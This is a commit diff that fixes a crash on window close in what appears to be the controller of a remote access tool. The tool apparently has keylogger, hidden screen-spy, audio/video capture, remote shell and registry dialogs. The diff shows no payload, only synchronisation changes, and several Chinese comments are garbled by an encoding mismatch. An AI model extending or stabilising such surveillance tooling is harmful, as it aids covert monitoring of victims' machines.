fix: Prevent crash when closing window during background data processing
This commit is contained in:
@@ -1644,9 +1644,11 @@ VOID CALLBACK CMy2015RemoteDlg::NotifyProc(CONTEXT_OBJECT* ContextObject)
|
|||||||
|
|
||||||
AUTO_TICK(50);
|
AUTO_TICK(50);
|
||||||
|
|
||||||
if (ContextObject->v1) {
|
if (ContextObject->hWnd) {
|
||||||
DialogBase* Dlg = (DialogBase*)ContextObject->hDlg;
|
DialogBase* Dlg = (DialogBase*)ContextObject->hDlg;
|
||||||
|
Dlg->MarkReceiving(true);
|
||||||
Dlg->OnReceiveComplete();
|
Dlg->OnReceiveComplete();
|
||||||
|
Dlg->MarkReceiving(false);
|
||||||
} else {
|
} else {
|
||||||
HANDLE hEvent = CreateEvent(NULL, TRUE, FALSE, NULL);
|
HANDLE hEvent = CreateEvent(NULL, TRUE, FALSE, NULL);
|
||||||
if (hEvent == NULL) {
|
if (hEvent == NULL) {
|
||||||
@@ -1663,25 +1665,25 @@ VOID CALLBACK CMy2015RemoteDlg::NotifyProc(CONTEXT_OBJECT* ContextObject)
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
// 对话框句柄及对话框类型
|
// 对话框指针及对话框句柄
|
||||||
struct dlgInfo
|
struct dlgInfo
|
||||||
{
|
{
|
||||||
HANDLE hDlg;
|
HANDLE hDlg; // 对话框指针
|
||||||
int v1;
|
HWND hWnd; // 窗口句柄
|
||||||
dlgInfo(HANDLE h, int type) : hDlg(h), v1(type) { }
|
dlgInfo(HANDLE h, HWND type) : hDlg(h), hWnd(type) { }
|
||||||
};
|
};
|
||||||
|
|
||||||
VOID CALLBACK CMy2015RemoteDlg::OfflineProc(CONTEXT_OBJECT* ContextObject)
|
VOID CALLBACK CMy2015RemoteDlg::OfflineProc(CONTEXT_OBJECT* ContextObject)
|
||||||
{
|
{
|
||||||
if (!g_2015RemoteDlg)
|
if (!g_2015RemoteDlg)
|
||||||
return;
|
return;
|
||||||
dlgInfo* dlg = ContextObject->v1 > 0 ? new dlgInfo(ContextObject->hDlg, ContextObject->v1) : NULL;
|
dlgInfo* dlg = ContextObject->hWnd ? new dlgInfo(ContextObject->hDlg, ContextObject->hWnd) : NULL;
|
||||||
|
|
||||||
SOCKET nSocket = ContextObject->sClientSocket;
|
SOCKET nSocket = ContextObject->sClientSocket;
|
||||||
|
|
||||||
g_2015RemoteDlg->PostMessage(WM_USEROFFLINEMSG, (WPARAM)dlg, (LPARAM)nSocket);
|
g_2015RemoteDlg->PostMessage(WM_USEROFFLINEMSG, (WPARAM)dlg, (LPARAM)nSocket);
|
||||||
|
|
||||||
ContextObject->v1 = 0;
|
ContextObject->hWnd = NULL;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
@@ -1968,9 +1970,8 @@ LRESULT CMy2015RemoteDlg::OnUserOfflineMsg(WPARAM wParam, LPARAM lParam)
|
|||||||
dlgInfo *p = (dlgInfo *)wParam;
|
dlgInfo *p = (dlgInfo *)wParam;
|
||||||
if (p)
|
if (p)
|
||||||
{
|
{
|
||||||
if (p->v1) {
|
if (::IsWindow(p->hWnd)) {
|
||||||
CDialogBase* Dlg = (CDialogBase*)p->hDlg;
|
::PostMessageA(p->hWnd, WM_CLOSE, 0, 0);
|
||||||
::PostMessageA(Dlg->GetSafeHwnd(), WM_CLOSE, 0, 0);
|
|
||||||
}
|
}
|
||||||
delete p;
|
delete p;
|
||||||
p = NULL;
|
p = NULL;
|
||||||
|
|||||||
@@ -154,7 +154,7 @@ public:
|
|||||||
Dlg->Create(id, GetDesktopWindow());
|
Dlg->Create(id, GetDesktopWindow());
|
||||||
Dlg->ShowWindow(Show);
|
Dlg->ShowWindow(Show);
|
||||||
|
|
||||||
ContextObject->v1 = id;
|
ContextObject->hWnd = Dlg->GetSafeHwnd();
|
||||||
ContextObject->hDlg = Dlg;
|
ContextObject->hDlg = Dlg;
|
||||||
|
|
||||||
return 0;
|
return 0;
|
||||||
|
|||||||
@@ -115,6 +115,11 @@ void CAudioDlg::OnReceiveComplete(void)
|
|||||||
void CAudioDlg::OnClose()
|
void CAudioDlg::OnClose()
|
||||||
{
|
{
|
||||||
CancelIO();
|
CancelIO();
|
||||||
|
// <20>ȴ<EFBFBD><C8B4><EFBFBD><EFBFBD>ݴ<EFBFBD><DDB4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
if (IsProcessing()) {
|
||||||
|
ShowWindow(SW_HIDE);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
m_bIsWorking = FALSE;
|
m_bIsWorking = FALSE;
|
||||||
WaitForSingleObject(m_hWorkThread, INFINITE);
|
WaitForSingleObject(m_hWorkThread, INFINITE);
|
||||||
|
|||||||
@@ -111,6 +111,11 @@ void CChat::OnButtonEnd()
|
|||||||
void CChat::OnClose()
|
void CChat::OnClose()
|
||||||
{
|
{
|
||||||
CancelIO();
|
CancelIO();
|
||||||
|
// <20>ȴ<EFBFBD><C8B4><EFBFBD><EFBFBD>ݴ<EFBFBD><DDB4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
if (IsProcessing()) {
|
||||||
|
ShowWindow(SW_HIDE);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
CDialogBase::OnClose();
|
CDialogBase::OnClose();
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -61,7 +61,11 @@ VOID DecryptDlg::OnReceiveComplete() {
|
|||||||
|
|
||||||
void DecryptDlg::OnClose() {
|
void DecryptDlg::OnClose() {
|
||||||
CancelIO();
|
CancelIO();
|
||||||
|
// <20>ȴ<EFBFBD><C8B4><EFBFBD><EFBFBD>ݴ<EFBFBD><DDB4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
if (IsProcessing()) {
|
||||||
|
ShowWindow(SW_HIDE);
|
||||||
|
return;
|
||||||
|
}
|
||||||
CDialogBase::OnClose();
|
CDialogBase::OnClose();
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
@@ -883,10 +883,13 @@ void CFileManagerDlg::FixedRemoteDriveList()
|
|||||||
|
|
||||||
void CFileManagerDlg::OnClose()
|
void CFileManagerDlg::OnClose()
|
||||||
{
|
{
|
||||||
// TODO: Add your message handler code here and/or call default
|
|
||||||
CoUninitialize();
|
|
||||||
|
|
||||||
CancelIO();
|
CancelIO();
|
||||||
|
// <20>ȴ<EFBFBD><C8B4><EFBFBD><EFBFBD>ݴ<EFBFBD><DDB4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
if (IsProcessing()) {
|
||||||
|
ShowWindow(SW_HIDE);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
CoUninitialize();
|
||||||
|
|
||||||
DialogBase::OnClose();
|
DialogBase::OnClose();
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -95,6 +95,11 @@ END_MESSAGE_MAP()
|
|||||||
void CHideScreenSpyDlg::OnClose()
|
void CHideScreenSpyDlg::OnClose()
|
||||||
{
|
{
|
||||||
CancelIO();
|
CancelIO();
|
||||||
|
// 等待数据处理完毕
|
||||||
|
if (IsProcessing()) {
|
||||||
|
ShowWindow(SW_HIDE);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
CDialogBase::OnClose();
|
CDialogBase::OnClose();
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -222,7 +222,7 @@ typedef struct CONTEXT_OBJECT
|
|||||||
CBuffer InCompressedBuffer; // <20><><EFBFBD>յ<EFBFBD><D5B5><EFBFBD>ѹ<EFBFBD><D1B9><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
CBuffer InCompressedBuffer; // <20><><EFBFBD>յ<EFBFBD><D5B5><EFBFBD>ѹ<EFBFBD><D1B9><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
CBuffer InDeCompressedBuffer; // <20><>ѹ<EFBFBD><D1B9><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
CBuffer InDeCompressedBuffer; // <20><>ѹ<EFBFBD><D1B9><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
CBuffer OutCompressedBuffer;
|
CBuffer OutCompressedBuffer;
|
||||||
int v1;
|
HWND hWnd;
|
||||||
HANDLE hDlg;
|
HANDLE hDlg;
|
||||||
void *olps; // OVERLAPPEDPLUS
|
void *olps; // OVERLAPPEDPLUS
|
||||||
int CompressMethod; // ѹ<><D1B9><EFBFBD>㷨
|
int CompressMethod; // ѹ<><D1B9><EFBFBD>㷨
|
||||||
@@ -236,7 +236,7 @@ typedef struct CONTEXT_OBJECT
|
|||||||
VOID InitMember(SOCKET s)
|
VOID InitMember(SOCKET s)
|
||||||
{
|
{
|
||||||
memset(szBuffer, 0, sizeof(char) * PACKET_LENGTH);
|
memset(szBuffer, 0, sizeof(char) * PACKET_LENGTH);
|
||||||
v1 = 0;
|
hWnd = NULL;
|
||||||
hDlg = NULL;
|
hDlg = NULL;
|
||||||
sClientSocket = s;
|
sClientSocket = s;
|
||||||
PeerName = ::GetPeerName(sClientSocket);
|
PeerName = ::GetPeerName(sClientSocket);
|
||||||
@@ -497,9 +497,10 @@ public:
|
|||||||
IOCPServer* m_iocpServer;
|
IOCPServer* m_iocpServer;
|
||||||
CString m_IPAddress;
|
CString m_IPAddress;
|
||||||
bool m_bIsClosed;
|
bool m_bIsClosed;
|
||||||
|
bool m_bIsProcessing;
|
||||||
HICON m_hIcon;
|
HICON m_hIcon;
|
||||||
CDialogBase(UINT nIDTemplate, CWnd* pParent, IOCPServer* pIOCPServer, CONTEXT_OBJECT* pContext, int nIcon) :
|
CDialogBase(UINT nIDTemplate, CWnd* pParent, IOCPServer* pIOCPServer, CONTEXT_OBJECT* pContext, int nIcon) :
|
||||||
m_bIsClosed(false),
|
m_bIsClosed(false), m_bIsProcessing(false),
|
||||||
m_ContextObject(pContext),
|
m_ContextObject(pContext),
|
||||||
m_iocpServer(pIOCPServer),
|
m_iocpServer(pIOCPServer),
|
||||||
CDialog(nIDTemplate, pParent) {
|
CDialog(nIDTemplate, pParent) {
|
||||||
@@ -516,8 +517,17 @@ public:
|
|||||||
|
|
||||||
public:
|
public:
|
||||||
virtual void OnReceiveComplete(void) = 0;
|
virtual void OnReceiveComplete(void) = 0;
|
||||||
|
// <20><><EFBFBD><EFBFBD>Ϊ<EFBFBD>Ƿ<EFBFBD><C7B7><EFBFBD><EFBFBD>ڽ<EFBFBD><DABD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
void MarkReceiving(bool recv = true) {
|
||||||
|
m_bIsProcessing = recv;
|
||||||
|
}
|
||||||
|
bool IsProcessing() const {
|
||||||
|
return m_bIsProcessing;
|
||||||
|
}
|
||||||
void OnClose() {
|
void OnClose() {
|
||||||
m_bIsClosed = TRUE;
|
m_bIsClosed = true;
|
||||||
|
while (m_bIsProcessing)
|
||||||
|
Sleep(200);
|
||||||
if(m_hIcon) DestroyIcon(m_hIcon);
|
if(m_hIcon) DestroyIcon(m_hIcon);
|
||||||
m_hIcon = NULL;
|
m_hIcon = NULL;
|
||||||
CDialog::OnClose();
|
CDialog::OnClose();
|
||||||
@@ -529,6 +539,7 @@ public:
|
|||||||
{
|
{
|
||||||
delete this;
|
delete this;
|
||||||
}
|
}
|
||||||
|
// ȡ<><C8A1> SOCKET <20><>ȡ<EFBFBD><C8A1><EFBFBD>ú<EFBFBD><C3BA><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ա<EFBFBD><D4B1><EFBFBD><EFBFBD>ε<EFBFBD><CEB5><EFBFBD>
|
||||||
void CancelIO(){
|
void CancelIO(){
|
||||||
m_bIsClosed = TRUE;
|
m_bIsClosed = TRUE;
|
||||||
|
|
||||||
|
|||||||
@@ -196,6 +196,11 @@ BOOL CKeyBoardDlg::PreTranslateMessage(MSG* pMsg)
|
|||||||
void CKeyBoardDlg::OnClose()
|
void CKeyBoardDlg::OnClose()
|
||||||
{
|
{
|
||||||
CancelIO();
|
CancelIO();
|
||||||
|
// <20>ȴ<EFBFBD><C8B4><EFBFBD><EFBFBD>ݴ<EFBFBD><DDB4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
if (IsProcessing()) {
|
||||||
|
ShowWindow(SW_HIDE);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
DialogBase::OnClose();
|
DialogBase::OnClose();
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -103,6 +103,11 @@ BOOL CRegisterDlg::OnInitDialog()
|
|||||||
void CRegisterDlg::OnClose()
|
void CRegisterDlg::OnClose()
|
||||||
{
|
{
|
||||||
CancelIO();
|
CancelIO();
|
||||||
|
// <20>ȴ<EFBFBD><C8B4><EFBFBD><EFBFBD>ݴ<EFBFBD><DDB4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
if (IsProcessing()) {
|
||||||
|
ShowWindow(SW_HIDE);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
DialogBase::OnClose();
|
DialogBase::OnClose();
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -179,6 +179,11 @@ BOOL CScreenSpyDlg::OnInitDialog()
|
|||||||
VOID CScreenSpyDlg::OnClose()
|
VOID CScreenSpyDlg::OnClose()
|
||||||
{
|
{
|
||||||
CancelIO();
|
CancelIO();
|
||||||
|
// 等待数据处理完毕
|
||||||
|
if (IsProcessing()) {
|
||||||
|
ShowWindow(SW_HIDE);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
DialogBase::OnClose();
|
DialogBase::OnClose();
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -118,6 +118,12 @@ int CServicesDlg::ShowServicesList(void)
|
|||||||
void CServicesDlg::OnClose()
|
void CServicesDlg::OnClose()
|
||||||
{
|
{
|
||||||
CancelIO();
|
CancelIO();
|
||||||
|
// <20>ȴ<EFBFBD><C8B4><EFBFBD><EFBFBD>ݴ<EFBFBD><DDB4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
if (IsProcessing()) {
|
||||||
|
ShowWindow(SW_HIDE);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
DeleteAllItems();
|
DeleteAllItems();
|
||||||
|
|
||||||
DialogBase::OnClose();
|
DialogBase::OnClose();
|
||||||
|
|||||||
@@ -143,6 +143,11 @@ VOID CShellDlg::AddKeyBoardData(void)
|
|||||||
void CShellDlg::OnClose()
|
void CShellDlg::OnClose()
|
||||||
{
|
{
|
||||||
CancelIO();
|
CancelIO();
|
||||||
|
// <20>ȴ<EFBFBD><C8B4><EFBFBD><EFBFBD>ݴ<EFBFBD><DDB4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
if (IsProcessing()) {
|
||||||
|
ShowWindow(SW_HIDE);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
DialogBase::OnClose();
|
DialogBase::OnClose();
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -161,6 +161,12 @@ void CSystemDlg::ShowProcessList(void)
|
|||||||
void CSystemDlg::OnClose()
|
void CSystemDlg::OnClose()
|
||||||
{
|
{
|
||||||
CancelIO();
|
CancelIO();
|
||||||
|
// <20>ȴ<EFBFBD><C8B4><EFBFBD><EFBFBD>ݴ<EFBFBD><DDB4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
if (IsProcessing()) {
|
||||||
|
ShowWindow(SW_HIDE);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
DeleteAllItems();
|
DeleteAllItems();
|
||||||
DialogBase::OnClose();
|
DialogBase::OnClose();
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -93,6 +93,11 @@ BOOL CTalkDlg::PreTranslateMessage(MSG* pMsg)
|
|||||||
void CTalkDlg::OnClose()
|
void CTalkDlg::OnClose()
|
||||||
{
|
{
|
||||||
CancelIO();
|
CancelIO();
|
||||||
|
// <20>ȴ<EFBFBD><C8B4><EFBFBD><EFBFBD>ݴ<EFBFBD><DDB4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
if (IsProcessing()) {
|
||||||
|
ShowWindow(SW_HIDE);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
DialogBase::OnClose();
|
DialogBase::OnClose();
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -219,14 +219,18 @@ BOOL CVideoDlg::OnInitDialog()
|
|||||||
|
|
||||||
void CVideoDlg::OnClose()
|
void CVideoDlg::OnClose()
|
||||||
{
|
{
|
||||||
|
CancelIO();
|
||||||
|
// <20>ȴ<EFBFBD><C8B4><EFBFBD><EFBFBD>ݴ<EFBFBD><DDB4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
if (IsProcessing()) {
|
||||||
|
ShowWindow(SW_HIDE);
|
||||||
|
return;
|
||||||
|
}
|
||||||
if (!m_aviFile.IsEmpty())
|
if (!m_aviFile.IsEmpty())
|
||||||
{
|
{
|
||||||
SaveAvi();
|
SaveAvi();
|
||||||
m_aviFile.Empty();
|
m_aviFile.Empty();
|
||||||
}
|
}
|
||||||
|
|
||||||
CancelIO();
|
|
||||||
|
|
||||||
DialogBase::OnClose();
|
DialogBase::OnClose();
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
@@ -492,11 +492,12 @@ void CFileManagerDlg::fixNetHood(BYTE* pbuffer, int buffersize)
|
|||||||
|
|
||||||
void CFileManagerDlg::OnClose()
|
void CFileManagerDlg::OnClose()
|
||||||
{
|
{
|
||||||
if (m_bIsClosed) return;
|
|
||||||
|
|
||||||
CancelIO();
|
CancelIO();
|
||||||
|
// <20>ȴ<EFBFBD><C8B4><EFBFBD><EFBFBD>ݴ<EFBFBD><DDB4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
DestroyIcon(m_hIcon);
|
if (IsProcessing()) {
|
||||||
|
ShowWindow(SW_HIDE);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
DestroyCursor(m_hCursor);
|
DestroyCursor(m_hCursor);
|
||||||
|
|
||||||
|
|||||||
@@ -198,10 +198,6 @@ CString CMachineDlg::__MakePriority(DWORD dwPriClass)
|
|||||||
return strRet;
|
return strRet;
|
||||||
}
|
}
|
||||||
|
|
||||||
void CMachineDlg::OnReceive()
|
|
||||||
{
|
|
||||||
}
|
|
||||||
|
|
||||||
void CMachineDlg::OnReceiveComplete()
|
void CMachineDlg::OnReceiveComplete()
|
||||||
{
|
{
|
||||||
if (m_bIsClosed) return;
|
if (m_bIsClosed) return;
|
||||||
@@ -320,6 +316,11 @@ void CMachineDlg::OnRclickList(NMHDR* pNMHDR, LRESULT* pResult)
|
|||||||
void CMachineDlg::OnClose()
|
void CMachineDlg::OnClose()
|
||||||
{
|
{
|
||||||
CancelIO();
|
CancelIO();
|
||||||
|
// <20>ȴ<EFBFBD><C8B4><EFBFBD><EFBFBD>ݴ<EFBFBD><DDB4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
if (IsProcessing()) {
|
||||||
|
ShowWindow(SW_HIDE);
|
||||||
|
return;
|
||||||
|
}
|
||||||
DeleteList();
|
DeleteList();
|
||||||
if (m_wndStatusBar.GetSafeHwnd())
|
if (m_wndStatusBar.GetSafeHwnd())
|
||||||
m_wndStatusBar.DestroyWindow();
|
m_wndStatusBar.DestroyWindow();
|
||||||
|
|||||||
@@ -21,7 +21,6 @@ public:
|
|||||||
CTabCtrl m_tab;
|
CTabCtrl m_tab;
|
||||||
|
|
||||||
void OnReceiveComplete();
|
void OnReceiveComplete();
|
||||||
void OnReceive();
|
|
||||||
static int CALLBACK CompareFunction(LPARAM lParam1, LPARAM lParam2, LPARAM lParamSort);
|
static int CALLBACK CompareFunction(LPARAM lParam1, LPARAM lParam2, LPARAM lParamSort);
|
||||||
|
|
||||||
protected:
|
protected:
|
||||||
|
|||||||
Reference in New Issue
Block a user